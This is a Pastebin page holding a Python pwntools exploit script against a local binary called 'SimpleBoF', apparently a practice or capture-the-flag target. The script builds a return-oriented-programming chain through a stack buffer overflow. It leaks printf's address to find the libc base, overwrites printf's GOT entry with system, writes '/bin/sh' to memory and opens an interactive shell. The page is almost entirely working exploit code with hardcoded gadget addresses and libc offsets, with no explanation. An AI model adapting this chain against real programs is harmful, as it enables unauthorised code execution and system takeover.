Advertisement
Guest User

exploit.py

a guest
Jun 27th, 2017
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.79 KB | None | 0 0
  1. from pwn import *
  2.  
  3. e = ELF('./SimpleBoF')
  4. s = process(e.path)
  5. #s = remote('localhost', 6969)
  6. #s = gdb.debug(e.path)
  7.  
  8. poprdi = 0x400623
  9. formatstring = 0x400650
  10. poprsi_popr15 = 0x400621
  11. writeable_addr = 0x601040
  12.  
  13. printf_got = 0x601018
  14. printf_plt =  0x400450
  15. gets_plt = 0x400480
  16.  
  17. system_offset = 0x3f450
  18. printf_offset = 0x4f160
  19. gets_offset = 0x68630
  20. binsh_offset = 0x1619f9
  21.  
  22. # step 1: leaking printf address
  23.  
  24. buff = 0x28
  25. payload = 'A' * buff
  26. payload +=  p64(poprsi_popr15)
  27. payload += p64(printf_got)
  28. payload += p64(0xdeadbeef)
  29. payload += p64(poprdi)
  30. payload += p64(formatstring)
  31. payload += p64(printf_plt)
  32.  
  33. # step 2: overwrite printf GOT with system using gets@plt: rdi -> printf@got
  34. payload += p64(poprdi)
  35. payload += p64(printf_got)
  36. payload += p64(gets_plt)
  37.  
  38. # step 3: read "/bin/sh" to writeable address
  39. payload += p64(poprdi)
  40. payload += p64(writeable_addr)
  41. payload += p64(gets_plt)
  42.  
  43. # step 4: rdi -> writeable and call printf@plt
  44. payload += p64(poprdi)
  45. payload += p64(writeable_addr)
  46. payload += p64(printf_plt)
  47.  
  48. print "stage 1: leaking printf address"
  49. s.sendline(payload)
  50. print "payload sent"
  51.  
  52. #gdb.attach(s)
  53. addr = s.recv().strip()[-6:] + '\x00\x00'
  54.  
  55. printf_addr = u64(addr)
  56. print "printf is @ " + str(hex(printf_addr))
  57.  
  58. libc_base_addr = printf_addr - printf_offset
  59. print "libc base address: " + str(hex(libc_base_addr))
  60.  
  61. system_addr = libc_base_addr + system_offset
  62. print "system is @ " + str(hex(system_addr))
  63.  
  64. binsh_addr = libc_base_addr + binsh_offset
  65. print "//bin//sh is @ " + str(hex(binsh_addr))
  66.  
  67. gets_addr = libc_base_addr + gets_offset
  68. print "gets is @ " + str(hex(gets_addr))
  69.  
  70. print "stage 2: sending system address"
  71. s.sendline(p64(system_addr))
  72.  
  73. print "stage 3: sending /bin/sh to writeable address"
  74. s.sendline("/bin/sh")
  75. s.interactive()
  76. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement